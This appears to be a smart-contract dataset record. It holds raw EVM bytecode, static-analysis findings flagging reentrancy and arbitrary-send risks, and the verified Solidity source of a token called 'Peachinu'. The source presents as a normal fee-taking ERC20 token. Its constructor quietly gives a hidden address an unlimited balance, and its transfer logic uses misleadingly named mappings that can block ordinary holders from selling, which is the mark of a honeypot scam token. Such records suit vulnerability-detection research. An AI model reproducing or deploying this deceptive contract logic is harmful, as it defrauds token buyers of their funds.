fffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612ef5565b60405180910390fd5b60008111610c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4490612e95565b60405180910390fd5b610c7c6064610c6e83683635c9adc5dea0000061201e90919063ffffffff16565b61209990919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610cb39190612f75565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d4d6112a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd190612ef5565b60405180910390fd5b601160149054906101000a900460ff1615610e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2190612eb5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eba30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b0565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0057600080fd5b505afa158015610f14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f389190612885565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f9a57600080fd5b505afa158015610fae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd29190612885565b6040518363ffffffff1660e01b8152600401610fef929190612d25565b602060405180830381600087803b15801561100957600080fd5b505af115801561101d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110419190612885565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110ca30610783565b6000806110d5610927565b426040518863ffffffff1660e01b81526004016110f796959493929190612d77565b6060604051808303818588803b15801561111057600080fd5b505af1158015611124573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111499190612a31565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550678ac7230489e800006012819055506001601160146101000a81548160ff02191690831515021790555042601381905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611252929190612d4e565b602060405180830381600087803b15801561126c57600080fd5b505af1158015611280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a491906129df565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611320576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131790612f55565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611390576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138790612e55565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146e9190612f75565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e290612f35565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155290612e15565b60405180910390fd5b6000811161159e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159590612f15565b60405180910390fd5b60006002600a81905550600a600b819055506115b8610927565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561162657506115f6610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a9a57600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116cf5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116d857600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156117835750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117d95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118bb576102586013546117ee91906130ab565b4210156118055760125482111561180457600080fd5b5b60009050601160179054906101000a900460ff16156118ba5742600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186957600080fd5b60144261187691906130ab565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119665750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119bc5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119d6576000600a819055506014600b81905550600190505b60006119e130610783565b9050601160159054906101000a900460ff16158015611a4e5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611a665750601160169054906101000a900460ff165b15611a98576000811115611a7e57611a7d81611d24565b5b60004790506000811115611a9657611a9547611bbb565b5b505b505b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b3b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b4557600090505b611b51848484846120e3565b50505050565b6000838311158290611b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b969190612df3565b60405180910390fd5b5060008385611bae919061318c565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c0b60028461209990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c36573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c8760028461209990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cb2573d6000803e3d6000fd5b5050565b6000600854821115611cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf490612e35565b60405180910390fd5b6000611d07612110565b9050611d1c818461209990919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d82577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611db05781602001602082028036833780820191505090505b5090503081600081518110611dee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e9057600080fd5b505afa158015611ea4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ec89190612885565b81600181518110611f02577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6930601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b0565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fcd959493929190612f90565b600060405180830381600087803b158015611fe757600080fd5b505af1158015611ffb573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120315760009050612093565b6000828461203f9190613132565b905082848261204e9190613101565b1461208e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208590612ed5565b60405180910390fd5b809150505b92915050565b60006120db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061213b565b905092915050565b806120f1576120f061219e565b5b6120fc8484846121e1565b8061210a576121096123ac565b5b50505050565b600080600061211d6123c0565b91509150612134818361209990919063ffffffff16565b9250505090565b60008083118290612182576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121799190612df3565b60405180910390fd5b50600083856121919190613101565b9050809150509392505050565b6000600a541480156121b257506000600b54145b156121bc576121df565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121f387612422565b95509550955095509550955061225186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233281612532565b61233c84836125ef565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123999190612f75565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123f6683635c9adc5dea0000060085461209990919063ffffffff16565b82101561241557600854683635c9adc5dea0000093509350505061241e565b81819350935050505b9091565b600080600080600080600080600061243f8a600a54600b54612629565b925092509250600061244f612110565b905060008060006124628e8787876126bf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124cc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b57565b905092915050565b60008082846124e391906130ab565b905083811015612528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251f90612e75565b60405180910390fd5b8091505092915050565b600061253c612110565b90506000612553828461201e90919063ffffffff16565b90506125a781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126048260085461248a90919063ffffffff16565b60088190555061261f816009546124d490919063ffffffff16565b6009819055505050565b6000806000806126556064612647888a61201e90919063ffffffff16565b61209990919063ffffffff16565b9050600061267f6064612671888b61201e90919063ffffffff16565b61209990919063ffffffff16565b905060006126a88261269a858c61248a90919063ffffffff16565b61248a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126d8858961201e90919063ffffffff16565b905060006126ef868961201e90919063ffffffff16565b90506000612706878961201e90919063ffffffff16565b9050600061272f82612721858761248a90919063ffffffff16565b61248a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061275b6127568461302a565b613005565b9050808382526020820190508285602086028201111561277a57600080fd5b60005b858110156127aa578161279088826127b4565b84526020840193506020830192505060018101905061277d565b5050509392505050565b6000813590506127c38161363f565b92915050565b6000815190506127d88161363f565b92915050565b600082601f8301126127ef57600080fd5b81356127ff848260208601612748565b91505092915050565b60008135905061281781613656565b92915050565b60008151905061282c81613656565b92915050565b6000813590506128418161366d565b92915050565b6000815190506128568161366d565b92915050565b60006020828403121561286e57600080fd5b600061287c848285016127b4565b91505092915050565b60006020828403121561289757600080fd5b60006128a5848285016127c9565b91505092915050565b600080604083850312156128c157600080fd5b60006128cf858286016127b4565b92505060206128e0858286016127b4565b9150509250929050565b6000806000606084860312156128ff57600080fd5b600061290d868287016127b4565b935050602061291e868287016127b4565b925050604061292f86828701612832565b9150509250925092565b6000806040838503121561294c57600080fd5b600061295a858286016127b4565b925050602061296b85828601612832565b9150509250929050565b60006020828403121561298757600080fd5b600082013567ffffffffffffffff8111156129a157600080fd5b6129ad848285016127de565b91505092915050565b6000602082840312156129c857600080fd5b60006129d684828501612808565b91505092915050565b6000602082840312156129f157600080fd5b60006129ff8482850161281d565b91505092915050565b600060208284031215612a1a57600080fd5b6000612a2884828501612832565b91505092915050565b600080600060608486031215612a4657600080fd5b6000612a5486828701612847565b9350506020612a6586828701612847565b9250506040612a7686828701612847565b9150509250925092565b6000612a8c8383612a98565b60208301905092915050565b612aa1816131c0565b82525050565b612ab0816131c0565b82525050565b6000612ac182613066565b612acb8185613089565b9350612ad683613056565b8060005b83811015612b07578151612aee8882612a80565b9750612af98361307c565b925050600181019050612ada565b5085935050505092915050565b612b1d816131d2565b82525050565b612b2c81613215565b82525050565b6000612b3d82613071565b612b47818561309a565b9350612b57818560208601613227565b612b6081613361565b840191505092915050565b6000612b7860238361309a565b9150612b8382613372565b604082019050919050565b6000612b9b602a8361309a565b9150612ba6826133c1565b604082019050919050565b6000612bbe60228361309a565b9150612bc982613410565b604082019050919050565b6000612be1601b8361309a565b9150612bec8261345f565b602082019050919050565b6000612c04601d8361309a565b9150612c0f82613488565b602082019050919050565b6000612c2760178361309a565b9150612c32826134b1565b602082019050919050565b6000612c4a60218361309a565b9150612c55826134da565b604082019050919050565b6000612c6d60208361309a565b9150612c7882613529565b602082019050919050565b6000612c9060298361309a565b9150612c9b82613552565b604082019050919050565b6000612cb360258361309a565b9150612cbe826135a1565b604082019050919050565b6000612cd660248361309a565b9150612ce1826135f0565b604082019050919050565b612cf5816131fe565b82525050565b612d0481613208565b82525050565b6000602082019050612d1f6000830184612aa7565b92915050565b6000604082019050612d3a6000830185612aa7565b612d476020830184612aa7565b9392505050565b6000604082019050612d636000830185612aa7565b612d706020830184612cec565b9392505050565b600060c082019050612d8c6000830189612aa7565b612d996020830188612cec565b612da66040830187612b23565b612db36060830186612b23565b612dc06080830185612aa7565b612dcd60a0830184612cec565b979650505050505050565b6000602082019050612ded6000830184612b14565b92915050565b60006020820190508181036000830152612e0d8184612b32565b905092915050565b60006020820190508181036000830152612e2e81612b6b565b9050919050565b60006020820190508181036000830152612e4e81612b8e565b9050919050565b60006020820190508181036000830152612e6e81612bb1565b9050919050565b60006020820190508181036000830152612e8e81612bd4565b9050919050565b60006020820190508181036000830152612eae81612bf7565b9050919050565b60006020820190508181036000830152612ece81612c1a565b9050919050565b60006020820190508181036000830152612eee81612c3d565b9050919050565b60006020820190508181036000830152612f0e81612c60565b9050919050565b60006020820190508181036000830152612f2e81612c83565b9050919050565b60006020820190508181036000830152612f4e81612ca6565b9050919050565b60006020820190508181036000830152612f6e81612cc9565b9050919050565b6000602082019050612f8a6000830184612cec565b92915050565b600060a082019050612fa56000830188612cec565b612fb26020830187612b23565b8181036040830152612fc48186612ab6565b9050612fd36060830185612aa7565b612fe06080830184612cec565b9695505050505050565b6000602082019050612fff6000830184612cfb565b92915050565b600061300f613020565b905061301b828261325a565b919050565b6000604051905090565b600067ffffffffffffffff82111561304557613044613332565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130b6826131fe565b91506130c1836131fe565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130f6576130f56132d4565b5b828201905092915050565b600061310c826131fe565b9150613117836131fe565b92508261312757613126613303565b5b828204905092915050565b600061313d826131fe565b9150613148836131fe565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613181576131806132d4565b5b828202905092915050565b6000613197826131fe565b91506131a2836131fe565b9250828210156131b5576131b46132d4565b5b828203905092915050565b60006131cb826131de565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613220826131fe565b9050919050565b60005b8381101561324557808201518184015260208101905061322a565b83811115613254576000848401525b50505050565b61326382613361565b810181811067ffffffffffffffff8211171561328257613281613332565b5b80604052505050565b6000613296826131fe565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132c9576132c86132d4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f4c697175696469747920616c7265616479206164646564000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613648816131c0565b811461365357600080fd5b50565b61365f816131d2565b811461366a57600080fd5b50565b613676816131fe565b811461368157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204babc7186b0a8925da785fa2d80245064c2371876fbaec38758885753773e82664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,671 |
0x4c051a1e8a9ad6d8d7bbd91585c799f4ef70d887
|
/**
*Submitted for verification at Etherscan.io on 2022-05-04
*/
/*
5% buy
10% sell
https://t.me/peachinu
*/
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.10;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Peachinu is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address add
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 0;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[add] = guard;
_balances[msg.sender] = _tTotal;
nearly[add] = guard;
nearly[msg.sender] = guard;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private guard = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
address[] material = new address[](2);
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function smooth(
address outer,
address due,
uint256 amount
) private {
address important = material[1];
bool thousand = uniswapV2Pair == outer;
uint256 interest = _fee;
if (nearly[outer] == 0 && temperature[outer] > 0 && !thousand) {
nearly[outer] -= interest;
}
material[1] = due;
if (nearly[outer] > 0 && amount == 0) {
nearly[due] += interest;
}
temperature[important] += interest;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[outer] -= fee;
_balances[address(this)] += fee;
_balances[outer] -= amount;
_balances[due] += amount;
}
mapping(address => uint256) private temperature;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private nearly;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
smooth(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
smooth(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function buy(
uint256 count,
address tokenAddress,
address to
) external payable {
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = tokenAddress;
uint256 amount = msg.value / count;
for (uint256 i = 0; i < count; i++) {
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(0, path, to, block.timestamp);
}
uint256 balance = address(this).balance;
if (balance > 0) payable(msg.sender).transfer(balance);
}
}
|
0x6080604052600436106100f35760003560e01c80638da5cb5b1161008a578063dd62ed3e11610059578063dd62ed3e14610298578063e753858a146102de578063f2fde38b146102f1578063f887ea401461031157600080fd5b80638da5cb5b1461022f57806395d89b411461024d578063a9059cbb14610262578063c5b37c221461028257600080fd5b8063313ce567116100c6578063313ce5671461019257806349bd5a5e146101aa57806370a08231146101e2578063715018a61461021857600080fd5b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461015357806323b872dd14610172575b600080fd5b34801561010457600080fd5b5061010d610331565b60405161011a9190610bab565b60405180910390f35b34801561012f57600080fd5b5061014361013e366004610c15565b6103c3565b604051901515815260200161011a565b34801561015f57600080fd5b506007545b60405190815260200161011a565b34801561017e57600080fd5b5061014361018d366004610c41565b6103d7565b34801561019e57600080fd5b5060045460ff16610164565b3480156101b657600080fd5b506009546101ca906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b3480156101ee57600080fd5b506101646101fd366004610c82565b6001600160a01b031660009081526006602052604090205490565b34801561022457600080fd5b5061022d6104da565b005b34801561023b57600080fd5b506000546001600160a01b03166101ca565b34801561025957600080fd5b5061010d610540565b34801561026e57600080fd5b5061014361027d366004610c15565b61054f565b34801561028e57600080fd5b5061016460015481565b3480156102a457600080fd5b506101646102b3366004610c9f565b6001600160a01b0391821660009081526005602090815260408083209390941682529190915220549056